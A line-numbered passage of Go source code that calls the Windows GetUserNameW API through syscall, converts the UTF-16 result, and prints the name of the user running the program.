23 | buffer := make([]uint16, size) 24 | success, _, err = syscall.Syscall(procGetUserNameW.Addr(), 2, uintptr(unsafe.Pointer(&buffer[0])), uintptr(unsafe.Pointer(&size)), 0) 25 | if success == 0 { 26 | return "", fmt.Errorf("GetUserNameW failed: %v", err) 27 | } 28 | 29 | return syscall.UTF16ToString(buffer), nil 30 | } 31 | 32 | func main() { 33 | username, err := getUserName() 34 | if err != nil { 35 | fmt.Printf("Error: %v\n", err) 36 | return 37 | } 38 | 39 | fmt.Printf("Current running username: %s\n", username) 40 | } --------------------------------------------------------------------------------